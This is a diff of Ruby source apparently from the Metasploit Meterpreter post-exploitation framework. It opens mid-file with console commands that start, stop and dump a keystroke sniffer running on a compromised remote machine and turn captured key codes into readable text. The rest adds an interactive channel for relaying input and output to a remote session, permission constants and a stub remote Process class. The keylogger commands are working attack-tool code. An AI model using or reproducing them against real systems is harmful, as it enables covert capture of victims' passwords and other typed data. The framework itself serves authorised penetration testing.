+ print_line("Starting the keystroke sniffer...")
261
+ client.ui.keyscan_start
262
+ return true
263
+ end
264
+
265
+ #
266
+ # Stop the keyboard sniffer
267
+ #
268
+ def cmd_keyscan_stop(*args)
269
+ print_line("Stopping the keystroke sniffer...")
270
+ client.ui.keyscan_stop
271
+ return true
272
+ end
273
+
274
+ #
275
+ # Dump captured keystrokes
276
+ #
277
+ def cmd_keyscan_dump(*args)
278
+ print_line("Dumping captured keystrokes...")
279
+ data = client.ui.keyscan_dump
280
+ outp = ""
281
+ data.unpack("n*").each do |inp|
282
+ fl = (inp & 0xff00) >> 8
283
+ vk = (inp & 0xff)
284
+ kc = VirtualKeyCodes[vk]
285
+
286
+ f_shift = fl & (1<<1)
287
+ f_ctrl = fl & (1<<2)
288
+ f_alt = fl & (1<<3)
289
+
290
+ if(kc)
291
+ name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
292
+ case name
293
+ when /^.$/
294
+ outp << name
295
+ when /shift|click/i
296
+ when 'Space'
297
+ outp << " "
298
+ else
299
+ outp << " <#{name}> "
300
+ end
301
+ else
302
+ outp << " <0x%.2x> " % vk
303
+ end
304
+ end
305
+ print_line(outp)
306
+
307
+ return true
308
+ end
309
+
310
+ end
311
+
312
+ end
313
+ end
314
+ end
315
+ end
@@ -0,0 +1,95 @@
1
+ module Rex
2
+ module Post
3
+ module Meterpreter
4
+ module Ui
5
+
6
+ ###
7
+ #
8
+ # Mixin that is meant to extend the base channel class from meterpreter in a
9
+ # manner that adds interactive capabilities.
10
+ #
11
+ ###
12
+ module Console::InteractiveChannel
13
+
14
+ include Rex::Ui::Interactive
15
+
16
+ #
17
+ # Interacts with self.
18
+ #
19
+ def _interact
20
+ # If the channel has a left-side socket, then we can interact with it.
21
+ if (self.lsock)
22
+ self.interactive(true)
23
+
24
+ interact_stream(self)
25
+
26
+ self.interactive(false)
27
+ else
28
+ print_error("Channel #{self.cid} does not support interaction.")
29
+
30
+ self.interacting = false
31
+ end
32
+ end
33
+
34
+ #
35
+ # Called when an interrupt is sent.
36
+ #
37
+ def _interrupt
38
+ prompt_yesno("Terminate channel #{self.cid}?")
39
+ end
40
+
41
+ #
42
+ # Suspends interaction with the channel.
43
+ #
44
+ def _suspend
45
+ # Ask the user if they would like to background the session
46
+ if (prompt_yesno("Background channel #{self.cid}?") == true)
47
+ self.interactive(false)
48
+
49
+ self.interacting = false
50
+ end
51
+ end
52
+
53
+ #
54
+ # Closes the channel like it aint no thang.
55
+ #
56
+ def _interact_complete
57
+ begin
58
+ self.interactive(false)
59
+
60
+ self.close
61
+ rescue IOError
62
+ end
63
+ end
64
+
65
+ #
66
+ # Reads data from local input and writes it remotely.
67
+ #
68
+ def _stream_read_local_write_remote(channel)
69
+ data = user_input.gets
70
+ return if not data
71
+ self.write(data)
72
+ end
73
+
74
+ #
75
+ # Reads from the channel and writes locally.
76
+ #
77
+ def _stream_read_remote_write_local(channel)
78
+ data = self.lsock.sysread(16384)
79
+
80
+ user_output.print(data)
81
+ end
82
+
83
+ #
84
+ # Returns the remote file descriptor to select on
85
+ #
86
+ def _remote_fd(stream)
87
+ self.lsock
88
+ end
89
+
90
+ end
91
+
92
+ end
93
+ end
94
+ end
95
+ end
@@ -0,0 +1,26 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ # Generic page protection flags
4
+ PROT_NONE = 0
5
+ PROT_READ = (1 << 0)
6
+ PROT_WRITE = (1 << 1)
7
+ PROT_EXEC = (1 << 2)
8
+ PROT_COW = (1 << 20)
9
+
10
+ # Generic permissions
11
+ GEN_NONE = 0
12
+ GEN_READ = (1 << 0)
13
+ GEN_WRITE = (1 << 1)
14
+ GEN_EXEC = (1 << 2)
15
+
16
+ # Generic process open permissions
17
+ PROCESS_READ = (1 << 0)
18
+ PROCESS_WRITE = (1 << 1)
19
+ PROCESS_EXECUTE = (1 << 2)
20
+ PROCESS_ALL = 0xffffffff
21
+
22
+ # Generic thread open permissions
23
+ THREAD_READ = (1 << 0)
24
+ THREAD_WRITE = (1 << 1)
25
+ THREAD_EXECUTE = (1 << 2)
26
+ THREAD_ALL = 0xffffffff
@@ -0,0 +1,57 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ module Rex
4
+ module Post
5
+
6
+ ###
7
+ #
8
+ # This class performs basic process operations against a process running on a
9
+ # remote machine via the post-exploitation mechanisms. Refer to the Ruby
10
+ # documentation for expected behaviors.
11
+ #
12
+ ###
13
+ class Process
14
+
15
+ def Process.getresuid
16
+ raise NotImplementedError
17
+ end
18
+ def Process.setresuid(a, b, c)
19
+ raise NotImplementedError
20
+ end
21
+
22
+ def Process.euid
23
+ getresuid()[1]
24
+ end
25
+ def Process.euid=(id)
26
+ setresuid(-1, id, -1)
27
+ end
28
+ def Process.uid
29
+ getresuid()[0]
30
+ end
31
+ def Process.uid=(id)
32
+ setresuid(id, -1, -1)
33
+ end
34
+
35
+ def Process.egid
36
+ getresgid()[1]
37
+ end
38
+ def Process.egid=(id)
39
+ setresgid(-1, id, -1)
40
+ end
41
+ def Process.gid
42
+ getresgid()[0]
43
+ end
44
+ def Process.gid=(id)
45
+ setresgid(id, -1, -1)
46
+ end
47
+
48
+ def Process.pid
49
+ raise NotImplementedError
50
+ end
51
+ def Process.ppid
52
+ raise NotImplementedError
53
+ end
54
+
55
+ end
56
+
57
+ end; end # Post/Rex